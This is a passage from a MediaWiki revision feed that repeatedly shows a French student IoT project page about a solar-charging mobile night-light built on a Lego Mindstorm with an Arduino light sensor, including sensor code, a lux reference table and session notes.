    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:2017_IOT_P4_poster.png&amp;diff=46837</id>
		<title>Fichier:2017 IOT P4 poster.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:2017_IOT_P4_poster.png&amp;diff=46837"/>
				<updated>2018-01-23T22:47:42Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46836</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46836"/>
				<updated>2018-01-23T22:47:21Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Poster */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46823</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46823"/>
				<updated>2018-01-23T18:28:54Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : M.&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : A.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46822</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46822"/>
				<updated>2018-01-23T18:28:23Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
